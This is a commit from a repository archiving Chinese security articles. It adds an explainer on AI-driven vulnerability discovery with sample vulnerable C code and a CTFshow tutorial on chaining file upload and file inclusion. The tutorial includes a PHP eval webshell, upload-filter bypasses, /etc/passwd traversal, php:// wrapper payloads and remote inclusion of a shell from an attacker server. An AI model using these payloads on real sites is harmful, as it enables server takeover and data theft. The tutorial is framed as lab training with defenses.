第4期:Web漏洞挖掘进阶|文件上传与文件包含漏洞组合利用实战、网络钓鱼和 OAuth 令牌漏洞导致 Microsoft 365 全面泄露、Claude Opus 4.6发现500+高危漏洞:AI漏洞发现技术深度解析、

This commit is contained in:
test committed 2026-02-07 02:01:43 +00:00
1 parent 0f276d8dc9
commit dbc1570d97
4 files changed
+1041 -1

No files matched your search

+4 -1
View File
@@ -17717,5 +17717,8 @@
"https://mp.weixin.qq.com/s/JWWeDFbAIR37yk8fm86FMw": "CVE-2025-48281 SQL注入",
"https://mp.weixin.qq.com/s/Wo59F-Hkh8py_3CWfF4JmA": "【靶场复现】Ivanti EPMM Pre-RCE漏洞CVE-2026-1281∕1340",
"https://mp.weixin.qq.com/s/zzjpm1Zlcso-zUzcAIkmkA": "【高危漏洞预警】n8n工作流自动化平台远程代码执行漏洞CVE-2026-25049",
"https://mp.weixin.qq.com/s/z1iLbcemPe7n9yr9qcVl1w": "【服务端漏洞-访问控制缺失-第二章第三节】找不到敏感路径?试试这招,源码里可能写着答案"
"https://mp.weixin.qq.com/s/z1iLbcemPe7n9yr9qcVl1w": "【服务端漏洞-访问控制缺失-第二章第三节】找不到敏感路径?试试这招,源码里可能写着答案",
"https://mp.weixin.qq.com/s/9Z0gwALP5a4JAWU9m29VPQ": "第4期:Web漏洞挖掘进阶|文件上传与文件包含漏洞组合利用实战",
"https://mp.weixin.qq.com/s/eiSig5Jtia_oBpG3U_nxaQ": "网络钓鱼和 OAuth 令牌漏洞导致 Microsoft 365 全面泄露",
"https://mp.weixin.qq.com/s/hGQIxEQONC3WhM-K7ZtiCA": "Claude Opus 4.6发现500+高危漏洞:AI漏洞发现技术深度解析"
}
@@ -0,0 +1,647 @@
# Claude Opus 4.6发现500+高危漏洞:AI漏洞发现技术深度解析
原创 学安全也就图一乐
学安全也就图一乐 低调学安全 2026-02-07 01:01
![](https://mmbiz.qpic.cn/mmbiz_png/ufQ2xnAD33uj8ttlnQxsycYUJSFh6MoadzzWUpusicibuF0zWZMR4BXDpAzmyIyzh5ZRD41kGxLHDuwSv2IJwNl56YDXOG6ib6rrnjTicsrTZzU/640?wx_fmt=png&from=appmsg "")
## 引言
2026年2月5日,Anthropic发布Claude Opus 4.6在开源软件中发现超过500个高危漏洞。这些漏洞中有些已在代码库中存在数十年,即使经过多年模糊测试和数百万小时CPU时间验证,也从未被发现。
本文深入分析AI漏洞发现的技术原理,通过三个典型案例展示AI如何通过代码理解、Git历史分析和算法推理发现传统方法无法检测的漏洞。
## 漏洞发现的范式转移:从"暴力破解"到"理解推理"
### 传统方法的局限性
在深入分析AI的突破之前,我们需要理解传统漏洞发现方法的根本局限。
**模糊测试(Fuzzing)**作为过去几十年的主流方法,本质上是一种"暴力破解":通过生成大量随机或半随机的输入,观察程序是否崩溃。这种方法的核心假设是:如果代码有漏洞,总会有某些输入能够触发它。
但这种方法存在几个根本性问题:
1. **覆盖率陷阱**
:即使达到100%的代码覆盖率,也不意味着找到了所有漏洞。许多漏洞需要特定的条件组合才能触发,而这些组合可能永远不会被随机输入生成。
1. **上下文盲区**
:模糊测试器不理解代码的语义,无法识别那些需要深度理解业务逻辑才能发现的漏洞。
1. **资源消耗**
:为了找到少数几个漏洞,可能需要运行数百万次测试,消耗巨大的计算资源。
1. **时间窗口**
:即使漏洞存在,也可能需要数周、数月甚至数年才能被发现。
### AI的认知革命
Claude Opus 4.6的工作方式代表了漏洞发现领域的认知革命。它不再依赖随机输入,而是像一位经验丰富的安全研究员一样,通过**理解**
代码来发现漏洞:
**1. 语义理解能力**
AI能够理解代码的语义,而不仅仅是语法。它知道strcat
函数在什么情况下危险,知道边界检查缺失意味着什么,知道内存管理错误的后果。这种理解能力让它能够:
- 识别危险模式:即使代码看起来"正常",AI也能识别出潜在的风险模式
- 关联分析:能够跨文件、跨模块关联分析,发现修复不完整的情况
- 逻辑推理:能够推理出什么样的输入序列能够触发漏洞
**2. 历史学习能力**
AI能够从Git提交历史中学习。它不仅能识别哪些提交是安全相关的,还能理解:
- 为什么这个修复是必要的
- 类似的漏洞可能存在于哪些地方
- 修复是否完整
这种能力让AI能够发现那些"修复了一半"的漏洞——在一个地方修复了,但在其他地方留下了相同的问题。
**3. 概念抽象能力**
AI能够理解抽象概念,如LZW压缩算法的工作原理。它不需要通过大量实验来"发现"漏洞,而是能够通过理解算法逻辑,直接推理出可能的攻击向量。
这种能力对于发现那些需要深度技术理解的漏洞至关重要,比如:
- 加密实现中的侧信道攻击
- 压缩算法中的边界条件错误
- 协议实现中的状态机错误
为了更具体地理解AI的这些认知能力,让我们深入分析三个典型案例。这些案例不仅展示了AI如何发现漏洞,更重要的是揭示了AI在漏洞发现过程中展现出的独特优势。
## 三个典型案例的深度解析:AI认知能力的体现
### 案例一:GhostScript的漏洞发现——跨文件关联分析的力量
**背景深度分析**
GhostScript是一个处理PostScript和PDF文件的工具,被广泛用于服务器端文档处理。它的代码库庞大且复杂,包含了数十万行C代码,处理多种文件格式和字体渲染。
**AI的发现过程**
当Claude Opus 4.6开始分析这个项目时,它首先尝试了传统方法:
1. **模糊测试尝试**
:生成了大量PDF和PostScript文件,但未发现明显漏洞
1. **手动代码审查**
:逐行分析代码,但面对如此庞大的代码库,这种方法效率低下
**关键转折:Git历史的智慧**
AI随后采取了不同的策略:它开始系统性地阅读Git提交历史。这不是简单的关键词搜索,而是深度的语义分析:
1. **识别安全相关提交**
:AI能够识别出哪些提交是安全相关的,即使提交信息中没有明确的安全关键词
1. **理解修复逻辑**
:AI理解了"添加堆栈边界检查"这个提交的含义——这意味着之前的代码缺少边界检查
1. **逆向推理**
:AI推理出:如果这里需要添加边界检查,那么可能存在类似的未修复位置
**跨文件关联分析**
这是AI能力的真正体现。AI发现:
- gstype1.c
中的gs_type1_blend
函数已经添加了边界检查
- 但在gdevpsfx.c
的第292行,调用相同函数的地方却没有相同的保护
这种跨文件的关联分析需要:
- 理解函数调用的语义
- 识别代码模式的一致性
- 推理出安全修复应该应用的完整范围
**漏洞的技术细节**
Type 1字体处理中的MM(Multiple Master)混合值计算涉及堆栈操作。关键代码路径:
```
// gdevpsfx.c:292int gs_type1_blend(gs_font_type1 *pfont, double *blend_values) {    double stack[STACK_SIZE];  // 固定大小堆栈    int sp = 0;        // 缺少边界检查:blend_values数组可能包含超过STACK_SIZE的值    for (int i = 0; i < num_blends; i++) {        stack[sp++] = blend_values[i];  // 潜在的堆栈溢出    }}
```
**攻击向量**
:
- 恶意PDF文件中的Type 1字体可以包含大量MM混合值
- 当num_blends > STACK_SIZE
时,stack[sp++]
会覆盖返回地址
- 通过精心构造的混合值,可以实现ROP链构造,最终导致RCE
**为什么传统方法失败**
:
- 模糊测试很难生成有效的Type 1字体结构
- 需要理解PDF格式和Type 1字体规范才能构造有效攻击载荷
### 案例二:OpenSC的缓冲区溢出——模式识别的精准性
**背景深度分析**
OpenSC是一个处理智能卡数据的命令行工具,广泛应用于身份认证、数字签名等安全关键场景。它的代码库相对较小,但处理的是高度敏感的数据。
**AI的发现策略**
Claude Opus 4.6采用了"危险函数追踪"策略:
1. **危险函数库**
:AI维护了一个危险函数的知识库,包括:
1. strcat
, strcpy
, sprintf
等不安全的字符串函数
1. gets
, scanf
等不安全的输入函数
1. 未检查长度的内存操作
1. **上下文分析**
:AI不仅找到了这些函数,还分析了它们的上下文:
1. 缓冲区的大小
1. 输入的长度限制
1. 边界检查的存在性
**漏洞的技术分析**
```
char filename[PATH_MAX];  // PATH_MAX通常是4096字节r = sc_get_cache_dir(card->ctx, filename,        sizeof(filename) - strlen(fp) - 2);if (r != SC_SUCCESS)        goto err;strcat(filename,"/");      // 添加1字节strcat(filename,fp);       // 添加fp的长度
```
**漏洞的根本原因**
:
1. **长度计算错误**
:sizeof(filename) - strlen(fp) - 2
假设sc_get_cache_dir
会填充到filename
的末尾,但实际上:
```
// sc_get_cache_dir可能只填充部分内容// 例如:如果cache_dir是"/tmp/cache",filename只填充了10字节// 但计算时假设已经填充了strlen(fp) + 2字节的空间
```
1. **累积风险分析**
:
```
// 第一次strcat:添加"/"(1字节)// 假设此时filename已用空间 = X// 第二次strcat:添加fp(strlen(fp)字节)// 总长度 = X + 1 + strlen(fp)// 如果X + strlen(fp) + 1 > PATH_MAX,就会溢出
```
1. **边界检查缺失**
:没有验证strlen(fp)
是否会导致总长度超过PATH_MAX
**精确的攻击条件**
:
- sc_get_cache_dir
返回的路径长度 + 1 + strlen(fp)
 > 4096
- 需要构造足够长的fp
参数,例如:fp = "A" * (4096 - cache_dir_len - 1)
**为什么传统模糊测试失败**
传统模糊测试器很少测试这行代码,因为:
1. **前置条件复杂**
:需要先调用sc_get_cache_dir
并返回成功
1. **路径深度**
:需要构造一个足够长的fp
参数
1. **状态依赖**
:需要智能卡上下文处于特定状态
AI的优势在于它能够:
- 理解这些前置条件
- 推理出什么样的输入序列能够满足条件
- 直接构造攻击向量
### 案例三:CGIF的LZW压缩漏洞——算法理解的深度
**背景深度分析**
CGIF是一个轻量级的GIF文件处理库。GIF格式使用LZW(Lempel-Ziv-Welch)压缩算法,这是一个字典压缩算法。
**LZW算法的深度解析**
LZW算法的工作原理:
1. **初始化**
:创建一个包含所有可能字符的字典
1. **编码**
:读取输入,查找字典中最长的匹配序列
1. **输出**
:输出匹配序列的字典索引
1. **更新**
:将匹配序列加上下一个字符添加到字典
1. **重置**
:当字典满时,清空字典并重新开始
**关键假设的漏洞**
CGIF库假设:**压缩后的数据总是小于原始数据**
这个假设在99.9%的情况下是正确的,因为:
- LZW是压缩算法,设计目标就是减少数据大小
- 大多数实际数据都有重复模式,可以被压缩
**AI的突破性发现**
Claude Opus 4.6通过深度理解LZW算法,发现了这个假设的漏洞:
**攻击向量构造**
:
1. **最小化图像**
:使用小的numPixel
值,减少原始数据大小
1. **最大化字典使用**
:构造数据使得字典快速填满
1. **频繁重置**
:每次字典填满时,LZW会输出一个"清除"标记,这个标记会增加输出大小
1. **无压缩模式**
:如果每个像素都生成一个新的字典条目,压缩比会很低
**数学分析**
:
- 原始数据大小:N像素 × 每个像素1字节 = N字节
- 缓冲区大小:(N + 2)个LZW码
- 攻击目标:生成 > N + 1个LZW码
**LZW码大小计算**
:
- 初始字典:256个单字符条目(码0-255)
- 清除码:256
- 结束码:257
- 字典大小:4096(12位编码)
**攻击构造**
:
```
# 构造最小化图像,最大化LZW输出pixels = []# 使用不重复的像素值,迫使字典快速填满for i in range(256):    pixels.append(i)  # 每个像素都不同# 当字典填满时,输出清除码(256),然后重新开始# 如果图像有N像素,但需要多次重置字典# 输出 = N个像素码 + M个清除码(M = 重置次数)# 当M > 2时,输出大小 > N + 1
```
**精确的溢出条件**
:
- 如果字典重置M次,输出 = N + M个LZW码
- 当M ≥ 3时,N + M > N + 2,触发缓冲区溢出
- 需要构造数据使得字典在编码过程中至少重置3次
**为什么这个漏洞特别危险**
1. **覆盖率盲区**
:即使代码有100%的覆盖率,这个漏洞也可能未被发现,因为它需要特定的数据模式
1. **概念理解要求**
:发现这个漏洞需要对LZW算法有深度的概念理解,而不仅仅是代码执行
1. **实际影响**
:GIF文件是互联网上最常见的图像格式之一,这个漏洞的影响范围巨大
**AI的验证能力**
更令人印象深刻的是,AI不仅发现了漏洞,还:
- 构造了概念验证(PoC)
- 验证了漏洞的可利用性
- 分析了漏洞的影响范围
## 验证流程的深度剖析:在速度与准确性之间平衡
### AI误报的技术挑战
AI在漏洞发现中可能产生误报,原因包括:
1. **代码理解偏差**
:AI可能误解代码逻辑,将正常代码误判为漏洞
1. **上下文缺失**
:缺少运行时上下文,无法准确判断漏洞的可利用性
1. **模式匹配过度**
:过度依赖已知漏洞模式,可能误报相似但安全的代码
### 多层次的验证体系
**第一层:技术筛选**
Anthropic选择了专注于**内存损坏漏洞**
,原因包括:
1. **可验证性**
:内存损坏漏洞可以通过技术手段明确验证:
1. DEP(Data Execution Prevention):防止数据段执行
1. ASLR(Address Space Layout Randomization):随机化内存布局
1. Stack Canaries:检测栈溢出
1. 在每次内存访问前后插入检查代码
1. 使用影子内存(shadow memory)标记内存状态
1. 检测缓冲区溢出、使用后释放(use-after-free)、双重释放(double-free)
1. 示例:clang -fsanitize=address -g program.c
1. **崩溃检测**
:使用GDB/LLDB监控程序崩溃,分析崩溃时的寄存器状态和堆栈回溯
1. **AddressSanitizer(ASan)**
:
1. **内存保护机制**
:
1. **严重性**
:内存损坏漏洞通常是高危漏洞,值得优先关注
1. **可重现性**
:这类漏洞通常可以稳定重现,便于验证和修复
**第二层:AI自我审查**
Claude Opus 4.6被要求对自己发现的漏洞进行审查:
1. **去重分析**
:识别重复的漏洞报告,合并相似的发现
1. **优先级排序**
:根据严重性、可利用性、影响范围等因素排序
1. **自我质疑**
:AI被要求质疑自己的发现,寻找可能的误报
这个过程利用了AI的另一个优势:它能够理解漏洞的本质,而不仅仅是表面的代码模式。
**第三层:人工验证**
对于初始发现的漏洞,Anthropic采用了严格的人工验证流程:
1. **安全研究员审查**
:每个漏洞都由经验丰富的安全研究员审查
1. **PoC验证**
:要求AI提供概念验证,然后人工验证PoC的有效性
1. **补丁开发**
:安全研究员手工编写补丁,确保修复的正确性和完整性
**第四层:外部验证**
随着发现数量的增长,Anthropic引入了外部安全研究人员:
1. **独立验证**
:外部研究人员提供独立的验证视角
1. **社区参与**
:与开源社区合作,确保修复方案符合项目规范
1. **知识共享**
:通过外部验证,积累更多关于AI发现漏洞的知识
### 误报率控制
Anthropic的目标是**最小化误报率**
,而不是最大化发现数量。这意味着:
1. **质量优先**
:宁愿漏掉一些漏洞,也不愿报告虚假漏洞
1. **严格标准**
:只有经过充分验证的漏洞才会被报告
1. **持续改进**
:根据反馈不断改进验证流程
这种方法的优势在于建立了信任,让开源维护者愿意认真对待AI发现的漏洞。
## 安全防护的深层挑战:双刃剑的平衡艺术
在验证AI发现的漏洞的同时,一个更深层的问题浮现出来:当AI能够如此高效地发现漏洞时,如何防止它被恶意使用?Claude Opus 4.6的能力是一把双刃剑:它既能帮助防御者发现和修复漏洞,也能被攻击者用来发现和利用漏洞。这种"双用途"特性带来了前所未有的安全挑战。
### 双用途技术的困境
AI漏洞发现技术的双用途特性意味着:
- **防御价值**
:安全团队可以使用AI快速发现和修复漏洞,提升系统安全性
- **攻击风险**
:攻击者同样可以使用AI快速发现漏洞并构建利用代码
- **平衡难题**
:如何在保护合法安全研究的同时,防止恶意滥用?
### 探针技术的深度解析
**什么是探针(Probes)**
探针是Anthropic开发的一种新型检测技术,它通过测量模型在生成响应时的**内部激活状态**
来检测潜在的滥用行为。
**工作原理**
:
1. **激活模式识别**
:
1. 在模型训练时,标记恶意和合法请求
1. 训练线性分类器(probe)在模型的中间层(如第15层)检测激活模式
1. 探针输出:P(恶意|激活状态)
1. **实时监控**
:
1. 在推理时,实时提取中间层激活向量
1. 计算恶意概率,如果超过阈值则触发干预
1. **模式匹配**
:
1. 使用监督学习训练探针:probe = LinearClassifier(activations, labels)
1. 检测模式包括:漏洞发现请求、exploit代码生成、攻击链构建
**网络安全特定探针**
这次发布中,Anthropic创建了专门的网络安全探针,能够检测:
1. **漏洞发现请求**
:识别用户是否在请求AI帮助发现漏洞
1. **利用代码生成**
:检测AI是否在生成漏洞利用代码
1. **攻击链构建**
:识别AI是否在帮助构建完整的攻击链
**技术挑战**
:
- **误报问题**
:合法的安全研究可能触发探针,导致误报
- **对抗性攻击**
:攻击者可能尝试绕过探针检测
- **隐私保护**
:需要在检测滥用和保护用户隐私之间平衡
### 执行管道的演进
**传统方法的局限**
传统的滥用检测主要依赖:
- 关键词过滤:容易被绕过
- 规则匹配:无法应对新型攻击
- 人工审查:无法规模化
**基于探针的检测架构**
技术实现:
1. **实时干预**
:
1. 在生成响应前检测:if probe(activations) > threshold: block()
1. 延迟:<100ms,对用户体验影响最小
1. **智能路由**
:
1. 低风险请求:正常处理
1. 中风险请求:限制响应内容,不提供exploit代码
1. 高风险请求:直接阻止
1. **动态调整**
:
1. 持续收集新的恶意样本,重新训练探针
1. 使用在线学习更新检测模型
**技术限制**
:
- **误报率**
:合法安全研究可能被误判(当前约5-10%)
- **对抗性攻击**
:攻击者可能尝试绕过检测(prompt injection、上下文混淆)
- **隐私**
:需要访问模型内部状态,可能涉及隐私问题
## AI漏洞发现的技术影响
### AI漏洞发现的效率
**性能数据**
:
- Claude Opus 4.6在无专门工具和定制提示下发现500+高危漏洞
- 传统模糊测试:数百万小时CPU时间未发现的漏洞
- AI分析速度:可同时处理多个代码库,24/7运行
**技术优势**
:
- 语义理解:理解代码逻辑,而非仅依赖执行路径
- 跨文件分析:关联分析整个代码库,发现修复不完整
- 历史学习:从Git提交中学习漏洞模式
### 漏洞修复的技术挑战
**修复速度vs发现速度**
:
- AI可在几小时内发现数百个漏洞
- 复杂漏洞修复需要:代码分析、补丁开发、测试验证、部署
- 传统90天窗口期可能无法应对AI的发现速度
**自动补丁生成的技术可行性**
:
- AI可分析漏洞根因,生成修复建议
- 需要验证补丁的正确性和完整性
- 当前仍需人工验证和测试
### AI在安全开发中的应用
**实时代码审查**
:
- AI可在代码提交时即时分析,发现潜在漏洞
- 集成到CI/CD流程,在部署前拦截安全问题
**自动化安全测试**
:
- 结合传统模糊测试和AI代码分析
- AI生成针对性测试用例,提高覆盖率
**漏洞利用代码生成**
:
- AI可分析漏洞,生成PoC验证代码
- 攻击者也可利用此能力快速开发exploit
## 技术总结
### AI漏洞发现的核心能力
Claude Opus 4.6证明了AI在漏洞发现领域的三个核心能力:
1. **语义理解**
:理解代码逻辑,识别危险模式,而非简单的模式匹配
1. **关联分析**
:跨文件、跨模块分析,发现修复不完整的情况
1. **算法推理**
:理解算法原理,推理出可能的攻击向量
### 技术突破的意义
- **发现质量**
:发现的500+漏洞都是真实且严重的高危漏洞
- **发现速度**
:远超传统模糊测试和人工代码审查
- **发现深度**
:能够发现需要深度技术理解才能发现的漏洞(如LZW压缩漏洞)
### 技术挑战
- **误报控制**
:通过多层次验证体系控制误报率
- **双用途风险**
:探针技术检测恶意使用,但可能影响合法研究
- **修复速度**
:AI发现速度远超人工修复速度,需要自动化修复技术
**参考来源:**
Anthropic官方博客 - Evaluating and mitigating the growing risk of LLM-discovered 0-days : 
https://red.anthropic.com/2026/zero-days/
@@ -0,0 +1,346 @@
# 第4期:Web漏洞挖掘进阶|文件上传与文件包含漏洞组合利用实战
原创 龙哥网络安全
龙哥网络安全 龙哥网络安全 2026-02-07 01:41
![图片](https://mmbiz.qpic.cn/mmbiz_jpg/8cylv3yeUGZILFlwwDjiabNv53dP4oHJafAzicMibsia9XytLRiaOFVQLh5mib5KecHTEeIANHFLHH3qwORHAhaJ9rQoRmFNpAM3Os6DMrk5Botcw/640?wx_fmt=jpeg "")
前言
文件上传与文件包含漏洞是Web漏洞中危害极高的两类进阶漏洞,二者常组合出现,也是CTF Web模块中“getshell”
的核心途径。文件上传漏洞的核心是“服务器未对上传文件进行严格校验,允许恶意脚本文件上传”
;文件包含漏洞的核心是“服务器未对包含的文件路径进行严格校验,允许包含恶意文件”
,二者结合可直接获取服务器权限,实战中危害极大。
本文将从底层成因出发,分别拆解文件上传、文件包含漏洞的原理、分类、挖掘流程,重点讲解两类漏洞的组合利用技巧,结合CTFshow靶场实战,覆盖文件上传过滤绕过、文件包含路径遍历与恶意文件加载,同时补充防护方案,适合Web安全进阶学习者、CTF爱好者、初级渗透测试工程师阅读,需具备基础的Web开发知识与PHP文件操作基础。
## 一、文件上传漏洞底层原理与核心成因
文件上传漏洞是“服务器文件操作漏洞”,核心成因是“用户上传的文件未被严格校验,恶意脚本文件被上传到服务器并可被访问执行”。绝大多数Web应用都有文件上传功能(如头像上传、附件上传、论坛发帖上传),若校验逻辑存在缺陷,就会触发漏洞。
1. 漏洞代码示例(PHP)
```
<?php
// 接收上传的文件
$file = $_FILES['file'];
// 获取文件名与上传路径
$filename = $file['name'];
$uploadDir = './upload/';
$uploadFile = $uploadDir . $filename;
// 直接上传文件(未做任何校验)
if (move_uploaded_file($file['tmp_name'], $uploadFile)) {
    echo "文件上传成功,路径:" . $uploadFile;
} else {
    echo "文件上传失败";
}
?>
```
1. 漏洞触发过程
当用户上传正常图片文件(如1.jpg)
时,文件会被保存到./upload/1.jpg
,访问该路径仅会展示图片,无异常;当用户上传恶意PHP脚本文件(如shell.php,内容为<?php @eval($_POST['cmd']);?>)
时,文件会被保存到./upload/shell.php
,访问该路径后,可通过POST请求传递cmd参数,执行系统命令(如cmd=system('whoami');),实现getshell。
1. 核心成因总结
文件上传漏洞的触发需满足3个核心条件:
- 上传可控:用户可以控制上传的文件内容与文件名。
- 未做校验:服务器未对文件的类型、后缀、内容、大小进行严格校验,或校验逻辑存在缺陷。
- 可访问执行:上传的恶意文件被保存到可访问的路径,且服务器支持该类型文件的执行(如PHP服务器支持.php文件执行)。
1. 常见校验方式与缺陷
开发者常会通过以下4种方式校验上传文件,每种方式都存在对应的缺陷,也是漏洞挖掘的突破口:
## 二、文件包含漏洞底层原理与核心成因
文件包含漏洞是“服务器文件引入漏洞”,核心成因是“服务器使用文件包含函数(如PHP的include()、require())引入文件时,未对文件路径进行严格校验,允许用户控制路径参数,从而包含恶意文件”。该漏洞多出现于使用框架开发、多模块复用的Web应用中。
1. 漏洞代码示例(PHP)
```
<?php
// 接收用户控制的文件路径参数
$file = $_GET['file'];
// 包含文件(未对路径进行校验)
include($file);
?>
```
1. 漏洞触发过程
当用户传入合法路径(file=./index.php)
时,服务器会包含并执行index.php
文件,无异常;当用户传入恶意文件路径(file=./upload/shell.php)
时,服务器会包含并执行shell.php文件,若该文件是恶意脚本,即可实现getshell;此外,还可通过路径遍历(如file=../../etc/passwd)读取服务器系统文件。
1. 核心成因总结
文件包含漏洞的触发需满足2个核心条件:
- 路径可控:用户可以控制文件包含函数的路径参数。
- 未做校验:服务器未对路径参数进行严格校验,允许包含任意文件(本地文件、远程文件)。
1. 核心分类
根据包含的文件来源,文件包含漏洞可分为2类,实战中需针对性挖掘:
- 本地文件包含(LFI):包含服务器本地的文件,可用于读取系统文件、执行本地恶意脚本(如上传的shell文件),最常见。
- 远程文件包含(RFI):包含远程服务器上的恶意文件,需服务器开启allow_url_include=On(PHP配置),危害更大,可直接包含远程恶意脚本getshell。
## 三、两类漏洞组合利用流程(CTFshow靶场实战)
文件上传与文件包含漏洞单独存在时,危害有限(如上传的恶意文件无法执行、文件包含无恶意文件可包含),二者组合是实战中getshell的核心思路:上传恶意脚本文件→通过文件包含漏洞加载执行该文件。本文以CTFshow Web进阶第20题为例,拆解完整组合利用流程。
1. 靶场环境与信息收集
- 靶场地址:http://xxx.ctfshow.com/?file=index.php,存在文件包含参数file。
- 功能判断:页面存在文件上传入口(头像上传),支持上传文件。
- 初步探测:传入file=../../etc/passwd
,页面显示系统文件内容,确认存在本地文件包含漏洞;尝试上传.php文件,提示“仅允许上传图片文件”,说明存在文件上传过滤。
1. 步骤1:文件上传(绕过过滤,上传恶意脚本)
目标仅允许上传图片文件,需绕过后端Content-Type与文件内容校验,上传恶意PHP脚本:
- 步骤1-1:构造恶意脚本文件(shell.php),内容为一句话木马:
```
  <?php @eval($_POST['cmd']);?>
```
- 步骤1-2:添加图片头部,伪装成jpg文件(绕过文件内容校验):用记事本打开shell.php,在头部添加jpg文件标识“FFD8FF”(十六进制)
,保存为shell.jpg.php
(后缀混淆,绕过文件名校验);
- 步骤1-3:篡改Content-Type
,绕过类型校验:开启Burp,抓取上传请求,将Content-Type
改为image/jpeg
;
- 步骤1-4:提交上传,获取文件路径:上传成功后,页面返回文件路径为`./upload/shell.jpg.php。
1. 步骤2:文件包含(加载执行恶意脚本)
利用文件包含漏洞,加载上传的恶意文件,实现getshell:
- 步骤2-1:构造文件包含URL,传入恶意文件路径:
```
  http://xxx.ctfshow.com/?file=./upload/shell.jpg.php
```
- 步骤2-2:验证脚本执行:使用中国蚁剑连接该URL,密码为cmd(对应一句话木马中的$_POST['cmd'])
,连接成功后,可执行系统命令、读取Flag,完成getshell。
1. 拓展:远程文件包含利用(RFI)
若目标服务器开启allow_url_include=On,可直接包含远程恶意脚本,无需上传文件:
- 步骤1:在自己的服务器上创建恶意脚本(shell.php),内容为一句话木马;
- 步骤2:构造远程文件包含URL:
```
  http://xxx.ctfshow.com/?file=http://自己的服务器IP/shell.php
```
- 步骤3:使用蚁剑连接该URL,即可getshell。
## 四、文件上传过滤绕过技巧(实战重点)
文件上传的核心挖掘难点是“绕过服务器校验”
,结合实战场景,整理6种常用绕过技巧,覆盖绝大多数过滤场景。
1. 后缀名绕过
针对后端文件名后缀校验,常用以下3种方式:
- 后缀混淆:使用服务器支持的非标准脚本后缀,如PHP服务器支持.php5、.phtml、.php3、.php.bak
,上传shell.php5,服务器会当作PHP文件执行;
- 大小写混淆:如上传shell.PhP,绕过区分大小写的后缀校验;
- 空格/点绕过:Windows系统中,文件名末尾的空格或点会被忽略,如上传shell.php.(末尾加.)、shell.php (末尾加空格),保存后会自动变为shell.php。
1. Content-Type绕过
针对后端Content-Type校验,直接通过Burp篡改请求头即可:
- 上传PHP文件时,将请求头中Content-Type改为合法图片类型(image/jpeg、image/png、image/gif)
;
- 示例:抓取上传请求,修改Content-Type: image/jpeg
,提交即可绕过。
1. 文件内容绕过
针对文件头部校验(判断文件类型),通过添加合法文件头部伪装即可:
- 图片文件头部:jpg(FFD8FF)、png(89504E47)、gif(47494638)
,可通过十六进制编辑器添加,或直接在脚本前添加图片二进制内容;
- 示例:在一句话木马前添加gif头部内容“GIF89a”
,保存为shell.gif,上传后通过文件包含执行。
1. 前端校验绕过
针对前端JS文件名校验,有2种简单绕过方式:
- 禁用浏览器JS:浏览器按F12,打开开发者工具,禁用JS(设置→调试器→禁用JavaScript),再上传恶意文件;
- 修改JS代码:抓取上传请求前,修改前端JS中的后缀校验逻辑,删除对.php等脚本后缀的限制。
1. 截断绕过
针对路径拼接校验(如服务器自动添加图片后缀),可通过截断符截断文件名,示例:
- 若服务器会自动给上传文件添加.jpg后缀,上传shell.php%00
,%00是NULL截断符,服务器会截断后面的内容,保存为shell.php;
- 注意:仅适用于PHP版本<5.3.4,高版本PHP已修复该漏洞。
1. .user.ini绕过(PHP特有)
若目标禁止上传.php文件,但允许上传.ini文件,可通过.user.ini
文件篡改PHP配置,让服务器解析指定文件为PHP:
- 步骤1:创建.user.ini
文件,内容为:auto_prepend_file=shell.jpg
(指定加载shell.jpg文件);
- 步骤2:上传.user.ini与shell.jpg(shell.jpg中包含PHP一句话木马);
- 步骤3:访问任意PHP文件,服务器会自动加载shell.jpg并解析为PHP,实现getshell。
## 五、文件包含漏洞绕过技巧(实战重点)
文件包含的核心挖掘难点是“绕过路径校验”,常用以下4种绕过技巧,应对不同校验场景。
1. 路径遍历绕过
针对限制包含本地文件路径的场景,通过../(上级目录)遍历到目标文件路径:
```
# 遍历到根目录,读取系统文件
file=../../../../etc/passwd
# 遍历到上传目录,包含恶意文件
file=../../upload/shell.php
```
> 补充:若服务器过滤../,可使用..././、....//等变形路径,或编码绕过(../编码为%2E%2E%2F)。
1. 截断绕过
针对服务器自动添加文件后缀的场景(如file=xxx自动拼接为file=xxx.php),使用截断符截断后缀:
```
# NULL截断(PHP<5.3.4)
file=./upload/shell.jpg%00
# 路径长度截断(Windows)
file=./upload/shell.jpgaaaaaaaaa...(重复多个a,达到路径长度限制,自动截断后续拼接内容)
```
1. 伪协议绕过(PHP特有)
PHP支持多种伪协议,可用于绕过后端路径校验,读取文件或执行代码,常用2种:
- php://filter伪协议:用于读取文件内容,示例:
```
  file=php://filter/read=convert.base64-encode/resource=../../etc/passwd将文件内容转为Base64编码,解码后即可获取原文,适合读取PHP文件(避免被执行)。
```
- php://input伪协议:用于执行POST请求中的代码,需开启allow_url_include=On,示例:
```
  file=php://inputPOST请求体中传入PHP代码(<?php phpinfo();?>),服务器会执行该代码。
```
1. 远程文件包含绕过
针对限制本地文件包含的场景,若服务器开启allow_url_include=On,可直接包含远程文件,或通过以下方式绕过限制:
- 编码绕过:将远程文件URL进行URL编码,绕过关键词过滤(如http://);
- IP进制转换:将远程服务器IP转为十进制/八进制,绕过IP过滤,示例:127.0.0.1转为十进制为2130706433,URL为http://2130706433/shell.php。
## 六、防护方案(攻防兼备)
1. 文件上传漏洞防护(核心)
- 严格校验文件后缀:采用“白名单”机制,仅允许jpg、png、gif等合法后缀,禁止所有脚本后缀(包括非标准后缀)。
- 多重内容校验:校验文件头部标识、文件大小、文件内容,禁止包含脚本代码的文件。
- 修改文件名与存储路径:上传后随机生成文件名(如UUID),避免用户控制文件名;将上传文件存储到非Web访问目录,或禁止该目录的脚本执行权限。
- 禁用前端校验依赖:前端校验仅作为辅助,核心校验逻辑放在后端,避免前端代码被篡改。
1. 文件包含漏洞防护(核心)
- 严格校验路径参数:采用“白名单”机制,仅允许包含指定目录的指定文件,禁止用户控制完整路径。
- 禁用危险配置:PHP中关闭allow_url_include=Off,禁止远程文件包含。
- 过滤危险字符:过滤../、http://、ftp://等危险字符,防止路径遍历与远程包含。
- 限制文件包含范围:将包含的文件限制为本地文件,禁止包含远程文件与系统敏感文件。
## 七、新手避坑指南(核心6点)
- 避坑1:上传恶意文件后,未确认文件路径与执行权限。部分场景下,文件虽上传成功,但路径不可访问或无执行权限,无法利用;
- 避坑2:忽视服务器环境差异。不同服务器(Apache/Nginx/IIS)对脚本后缀的支持不同,如IIS支持.asp、.aspx后缀,需针对性构造payload;
- 避坑3:盲目使用截断绕过。截断漏洞仅存在于低版本PHP,高版本中无效,需先探测PHP版本;
- 避坑4:文件包含时,混淆本地与远程包含的配置要求。远程包含需开启allow_url_include=On,本地包含无需;
- 避坑5:忽视.user.ini文件的利用场景。当无法上传.php文件时,可尝试上传.user.ini配合图片木马绕过;
